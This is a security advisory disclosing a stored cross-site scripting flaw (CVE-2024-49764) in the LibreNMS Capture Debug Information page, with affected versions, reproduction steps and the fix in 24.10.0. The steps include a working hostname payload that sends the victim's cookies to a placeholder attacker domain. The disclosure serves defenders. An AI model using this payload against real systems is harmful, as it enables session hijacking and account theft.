Disclosed vulnerabilities
Fixed: Nov 5, 2024
CVE-2024-49764 Published: Nov 14, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Capture Debug Information

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Capture Debug Information” page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the hostname parameter when creating a new device. When a user visits the Capture Debug Information page for that device, the payload triggers, redirecting the browser to an attacker-controlled domain with the victim’s non-httponly cookies.

Product

This vulnerability affects LibreNMS versions prior to 24.10.0, specifically in librenms/includes/html/pages/device/capture.inc.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Create a new device with the following payload as the Hostname (hostname):

    test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"

  3. Save the device.

  4. Navigate to the Capture Debug Information page for that device.

  5. Observe that your browser is redirected to the attacker-controlled URL, including your cookies.

Expected result:

The browser redirects to
https://<attacker_domain>/logger.php?c=<your_cookie>
demonstrating that non-httponly cookies were sent to the attacker-controlled domain.

Remediation

Fixed in LibreNMS 24.10.0 by properly escaping the hostname parameter in capture.inc.php, ensuring user-supplied values are HTML-encoded before rendering.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-rmr4-x6c9-jc68
  2. Fix commit
  3. NVD entry for CVE-2024-49764

Stay connected and never miss a research update!